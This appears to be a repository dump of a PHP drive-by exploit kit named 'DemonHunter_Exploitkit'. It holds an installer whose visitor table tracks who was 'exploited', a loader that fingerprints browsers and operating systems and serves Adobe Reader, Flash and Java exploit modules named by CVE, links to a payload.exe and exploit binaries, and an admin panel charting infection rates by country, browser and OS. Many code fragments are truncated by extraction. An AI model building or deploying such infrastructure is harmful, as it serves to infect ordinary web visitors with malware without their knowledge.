16 | 17 | 18 | "; 21 | } 22 | ?> 23 | 24 | 25 | 26 | 154 | -------------------------------------------------------------------------------- /install/index.php: -------------------------------------------------------------------------------- 1 | open(); 9 | 10 | createTables($sqlSettings); 11 | 12 | echo "Installation Complete.
"; 13 | 14 | $sql->close(); 15 | 16 | function createTables($sqlSettings) 17 | { 18 | $cq = new CQuery(); 19 | echo("Creating Table " . $sqlSettings['tableVisitorsList'] . "
"); 20 | 21 | $sql_result = mysql_query(" DROP TABLE IF EXISTS `" . $sqlSettings['dbName'] . "`.`" . $sqlSettings['tableVisitorsList'] . "`"); 22 | $sql_result = mysql_query(" 23 | CREATE TABLE IF NOT EXISTS `" . $sqlSettings['dbName'] . "`.`" . $sqlSettings['tableVisitorsList'] . "` ( 24 | `id` INT AUTO_INCREMENT , 25 | `ipAddress` VARCHAR( 16 ), 26 | `userAgent` VARCHAR( 400 ), 27 | `country` VARCHAR( 400 ), 28 | `referrer` VARCHAR( 400 ), 29 | `exploited` BOOL, 30 | `exploit` VARCHAR( 400 ), 31 | PRIMARY KEY ( `id` ) 32 | ) ENGINE = MYISAM ;"); 33 | 34 | echo("Tables Created.
"); 35 | } 36 | 37 | ?> 38 | -------------------------------------------------------------------------------- /load_module.php: -------------------------------------------------------------------------------- 1 | identification(); 10 | 11 | if(($data['browser'] != "FIREFOX" && $data['browser'] != "CHROME" && $data['browser'] != "SAFARI" && $data['browser'] != "OPERA" && $data['browser'] != "MSIE") || $data['platform'] == "OTHER"){ 12 | exit(); 13 | } 14 | 15 | include_once('include/sql.php'); 16 | include_once('include/visitors.php'); 17 | $sql = new CSQL($sqlSettings); 18 | $sql->open(); 19 | 20 | $cvisitors = new CVisitors($sql, $sqlSettings); 21 | $exploited = $cvisitors->checkVisitor($_SERVER['HTTP_USER_AGENT'], $cvisitors->getIpAddr(), $cvisitors->getIpAddrCountry($cvisitors->getIpAddr())); 22 | $sql->close(); 23 | 24 | if($exploited){ 25 | exit(); 26 | } 27 | 28 | 29 | $page = $_GET["e"]; 30 | 31 | $pos = strpos($page, ".."); 32 | 33 | 34 | if($page != "" && isset($page) && $pos === false ){ 35 | $inc = "modules/" . $page . ".php"; 36 | 37 | if(file_exists($inc)){ 38 | 39 | require_once($inc); 40 | 41 | }else{ 42 | 43 | require_once("modules/index.php"); 44 | 45 | } 46 | 47 | }else{ 48 | 49 | require_once("modules/index.php"); 50 | 51 | } 52 | 53 | 54 | 55 | ?> 56 | -------------------------------------------------------------------------------- /modules/Adobe-2008-2992.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modules/Adobe-2010-1297.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modules/Adobe-2010-2884.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modules/Adobe-80-2010-0188.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modules/Adobe-90-2010-0188.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modules/Java-2010-0842.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /modules/Java-2010-3552.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /modules/JavaSignedApplet.php: -------------------------------------------------------------------------------- 1 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /modules/helpers/Adobe-2010-1297.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/modules/helpers/Adobe-2010-1297.swf -------------------------------------------------------------------------------- /modules/helpers/Adobe-2010-2884.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/modules/helpers/Adobe-2010-2884.swf -------------------------------------------------------------------------------- /modules/helpers/Java-2010-0842.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/modules/helpers/Java-2010-0842.jar -------------------------------------------------------------------------------- /modules/helpers/Java-2010-0842Helper.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /modules/helpers/JavaSignedApplet.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/modules/helpers/JavaSignedApplet.jar -------------------------------------------------------------------------------- /modules/helpers/index.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/modules/helpers/index.php -------------------------------------------------------------------------------- /modules/index.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/modules/index.php -------------------------------------------------------------------------------- /payload.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/payload.exe -------------------------------------------------------------------------------- /statistics/clear.php: -------------------------------------------------------------------------------- 1 | open(); 16 | $cvisitors = new CVisitors($sql, $sqlSettings); 17 | $cvisitors->clearVisitors(); 18 | header("Location: statistics.php"); 19 | exit(); 20 | 21 | ?> 22 | -------------------------------------------------------------------------------- /statistics/css/styles.css: -------------------------------------------------------------------------------- 1 | 2 | 3 | /* ----------LINK STYLES---------- */ 4 | a { cursor: pointer; outline: none; } 5 | a:link { color: #ffffff; text-decoration: none; } 6 | a:visited { color: #ffffff; text-decoration: none; } 7 | a:hover { color: #00ccff; text-decoration: none; } 8 | a img { border: none;} 9 | 10 | body, html { 11 | background-color: #000000; 12 | text-align: center; 13 | font: 12px "verdana"; 14 | margin: 0px 0px 0px 0px; 15 | color: white; 16 | } 17 | 18 | #wrapper { 19 | width: 1024px; 20 | margin: 0 auto; 21 | border: 1px solid #282828; 22 | background-color: #000; 23 | padding-bottom: 5px; 24 | } 25 | 26 | #main-header { 27 | width: 100%; 28 | } 29 | 30 | #main-header-banner { 31 | width: 100%; 32 | float: left; 33 | background-image: url(../images/logo.png); 34 | background-repeat: no-repeat; 35 | height: 152px; 36 | margin-left: 25px; 37 | } 38 | 39 | #main-body { 40 | width: 100%; 41 | float: left; 42 | margin-bottom: 40px; 43 | } 44 | 45 | #main-body-top { 46 | width: 100%; 47 | float: left; 48 | border-left: 1px solid #101010; 49 | margin-top: 40px; 50 | } 51 | 52 | #main-body-referrer { 53 | width: 100%; 54 | float: left; 55 | border-left: 1px solid #101010; 56 | margin-top: 10px; 57 | } 58 | 59 | .referrer-box { 60 | font: 12px "verdana"; 61 | margin-left: 25px; 62 | float: left; 63 | width: 94%; 64 | border: 1px solid #3d0d0d; 65 | background:#1F1F1F; 66 | text-align: left; 67 | padding: 2px 2px 2px 2px; 68 | } 69 | 70 | .referrer-box table { 71 | font: 12px "verdana"; 72 | float: left; 73 | width: 90%; 74 | margin-left: 25px; 75 | } 76 | 77 | .referrer-box td { 78 | height: 30px; 79 | } 80 | 81 | .referrer-box-title { 82 | font: 15px "verdana"; 83 | text-align: center; 84 | border-bottom: 1px solid #282828; 85 | } 86 | 87 | #main-body-login { 88 | width: 100%; 89 | float: left; 90 | border-left: 1px solid #101010; 91 | margin-top: 40px; 92 | } 93 | 94 | .login-box { 95 | font: 12px "verdana"; 96 | margin-left: 290px; 97 | float: left; 98 | width: 40%; 99 | border: 1px solid #3d0d0d; 100 | background:#1F1F1F; 101 | text-align: left; 102 | padding: 2px 2px 2px 2px; 103 | } 104 | 105 | .login-box table { 106 | font: 12px "verdana"; 107 | float: left; 108 | width: 90%; 109 | margin-left: 25px; 110 | } 111 | 112 | .login-box td { 113 | height: 30px; 114 | } 115 | 116 | .login-box-title { 117 | font: 15px "verdana"; 118 | text-align: center; 119 | border-bottom: 1px solid #282828; 120 | } 121 | 122 | .top-box { 123 | font: 12px "verdana"; 124 | margin-left: 25px; 125 | float: left; 126 | width: 94%; 127 | border: 1px solid #3d0d0d; 128 | background:#1F1F1F; 129 | text-align: left; 130 | padding: 2px 2px 2px 2px; 131 | } 132 | 133 | .top-box table { 134 | font: 12px "verdana"; 135 | float: left; 136 | width: 90%; 137 | margin-left: 25px; 138 | } 139 | 140 | .top-box td { 141 | height: 30px; 142 | } 143 | 144 | .top-box-title { 145 | font: 15px "verdana"; 146 | text-align: center; 147 | border-bottom: 1px solid #282828; 148 | } 149 | 150 | #main-body-left { 151 | background: #000000; 152 | width: 50%; 153 | float: left; 154 | margin-top: 10px; 155 | } 156 | 157 | #main-body-left table { 158 | float: left; 159 | width: 90%; 160 | margin-left: 25px; 161 | } 162 | 163 | #main-body-left td.header { 164 | border: 1px solid #1c4a14; 165 | } 166 | 167 | #main-body-right { 168 | width: 49%; 169 | float: left; 170 | border-left: 1px solid #101010; 171 | margin-top: 10px; 172 | } 173 | 174 | .content-box { 175 | font: 12px "verdana"; 176 | margin-left: 25px; 177 | float: left; 178 | width: 90%; 179 | border: 1px solid #3d0d0d; 180 | background:#1F1F1F; 181 | text-align: left; 182 | padding: 2px 2px 2px 2px; 183 | } 184 | 185 | .content-box table { 186 | font: 12px "verdana"; 187 | float: left; 188 | width: 90%; 189 | margin-left: 25px; 190 | } 191 | 192 | .content-box td { 193 | height: 30px; 194 | } 195 | 196 | .content-box-title { 197 | font: 15px "verdana"; 198 | text-align: center; 199 | border-bottom: 1px solid #282828; 200 | padding-top: 3px; 201 | padding-bottom: 3px; 202 | } 203 | 204 | .clearfix:after { 205 | content: "."; 206 | display: block; 207 | clear: both; 208 | visibility: hidden; 209 | line-height: 0; 210 | height: 0; 211 | } 212 | 213 | .clearfix { 214 | display: inline-block; 215 | } 216 | 217 | html[xmlns] .clearfix { 218 | display: block; 219 | } 220 | 221 | * html .clearfix { 222 | height: 1%; 223 | } 224 | 225 | 226 | /* ----------NAVIGATION STYLES---------- */ 227 | .navigation { 228 | float: left; 229 | width: 1300px; 230 | height: 50px; 231 | margin-top: -9px; 232 | margin-left: -40px; 233 | } 234 | .nav-links li { 235 | list-style-type: none; 236 | float: left; 237 | } 238 | .nav-links li a { 239 | height: 47px; 240 | width: 160px; 241 | text-indent: -9999px; 242 | display: block; 243 | } 244 | li.spacer { 245 | background:url(../images/spacer.png) repeat-x; 246 | height: 51px; 247 | width: 115px; 248 | } 249 | li.spacer1 { 250 | background:url(../images/spacer.png) repeat-x; 251 | height: 51px; 252 | width: 95px; 253 | } 254 | li.spacer2 { 255 | background:url(../images/spacer2.png) repeat-x; 256 | height: 51px; 257 | width: 20px; 258 | } 259 | li.clear { 260 | background:url(../images/clear.png) no-repeat; 261 | height: 51px; 262 | width: 127px; 263 | } 264 | li.logout { 265 | background:url(../images/logout.png) no-repeat; 266 | height: 51px; 267 | width: 128px; 268 | } 269 | li.middlebar { 270 | background:url(../images/middlebar.png) no-repeat; 271 | height: 69px; 272 | width: 309px; 273 | } 274 | 275 | 276 | li.clear a:hover { 277 | background:url(../images/clear_hover.png) no-repeat; 278 | height: 51px; 279 | width: 127px; 280 | } 281 | li.logout a:hover { 282 | background:url(../images/logout_hover.png) no-repeat; 283 | height: 51px; 284 | width: 128px; 285 | } 286 | -------------------------------------------------------------------------------- /statistics/images/clear.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/statistics/images/clear.png -------------------------------------------------------------------------------- /statistics/images/clear_hover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/statistics/images/clear_hover.png -------------------------------------------------------------------------------- /statistics/images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/statistics/images/logo.png -------------------------------------------------------------------------------- /statistics/images/logout.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/statistics/images/logout.png -------------------------------------------------------------------------------- /statistics/images/logout_hover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/statistics/images/logout_hover.png -------------------------------------------------------------------------------- /statistics/images/middlebar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/statistics/images/middlebar.png -------------------------------------------------------------------------------- /statistics/images/payload.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/statistics/images/payload.exe -------------------------------------------------------------------------------- /statistics/images/spacer.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/statistics/images/spacer.png -------------------------------------------------------------------------------- /statistics/images/spacer2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kurtcoke/DemonHunter_Exploitkit/28fab1fb7ca64eec1468755e4a4be4507bcd386c/statistics/images/spacer2.png -------------------------------------------------------------------------------- /statistics/index.php: -------------------------------------------------------------------------------- 1 | 13 | -------------------------------------------------------------------------------- /statistics/login.php: -------------------------------------------------------------------------------- 1 | 15 | 16 | 17 | 18 | 19 | 20 | Log In 21 | 22 | 23 | 24 | 25 |
26 |
27 |
28 |
29 | 30 | 31 | 53 | 54 | 55 | 56 |
57 | 58 |
59 | 78 |
79 |
80 |
81 | 82 | 83 | -------------------------------------------------------------------------------- /statistics/logout.php: -------------------------------------------------------------------------------- 1 | 8 | -------------------------------------------------------------------------------- /statistics/statistics.php: -------------------------------------------------------------------------------- 1 | open(); 16 | 17 | $cvisitors = new CVisitors($sql, $sqlSettings); 18 | 19 | $countVisitors = $cvisitors->getUniqueVisitorsCount(); 20 | $countExploitedVisitors = $cvisitors->getVisitorsExploitedCount(); 21 | $countNotExploitedVisitors = $countVisitors - $countExploitedVisitors; 22 | 23 | 24 | if($countVisitors == 0 || $countExploitedVisitors == 0){ 25 | $exploitedPercentage = 0; 26 | }else{ 27 | $exploitedPercentage = round($countExploitedVisitors * 100 / $countVisitors, 2); 28 | } 29 | 30 | 31 | 32 | ?> 33 | 34 | 35 | 36 | 37 | 38 | Statistics 39 | 40 | 43 | 64 | 67 | 68 | 69 | "; 72 | }else{ 73 | echo ""; 74 | } 75 | ?> 76 | 77 |
78 |
79 |
80 |
81 | 82 | 83 | 109 | 110 | 111 | 112 |
113 | 114 |
115 |
116 |

Overall Statistics

117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 |
UniqueExploited%
129 |
130 |
131 |
132 |
133 |

Statistics: Referrers

134 | showVisitorsReferrerTop(); 136 | ?> 137 |
138 |
139 |
140 |
141 |

Statistics: Exploits

142 | 143 | showExploitsTable(); 145 | ?> 146 | 147 |
148 |
149 |

Statistics: Country

150 | showVisitorsCountryTop(); 152 | ?> 153 |
154 |
155 |
156 |
157 |

Statistics: Operating System

158 | showOSInformation(); 160 | ?> 161 |
162 |
163 |

Statistics: Browser

164 | showBrowserInformation(); 166 | ?> 167 |
168 |
169 |
170 |
171 | 172 | 173 | -------------------------------------------------------------------------------- /statistics/update.php: -------------------------------------------------------------------------------- 1 | open(); 15 | 16 | $cvisitors = new CVisitors($sql, $sqlSettings); 17 | 18 | $countVisitors = $cvisitors->getUniqueVisitorsCount(); 19 | $countExploitedVisitors = $cvisitors->getVisitorsExploitedCount(); 20 | $countNotExploitedVisitors = $countVisitors - $countExploitedVisitors; 21 | 22 | 23 | if($countVisitors == 0 || $countExploitedVisitors == 0){ 24 | $exploitedPercentage = 0; 25 | }else{ 26 | $exploitedPercentage = round($countExploitedVisitors * 100 / $countVisitors, 2); 27 | } 28 | 29 | ?> 30 | 31 | document.getElementById("visitors").innerHTML = ; 32 | document.getElementById("exploited").innerHTML = ; 33 | document.getElementById("percentage").innerHTML = ; 34 | --------------------------------------------------------------------------------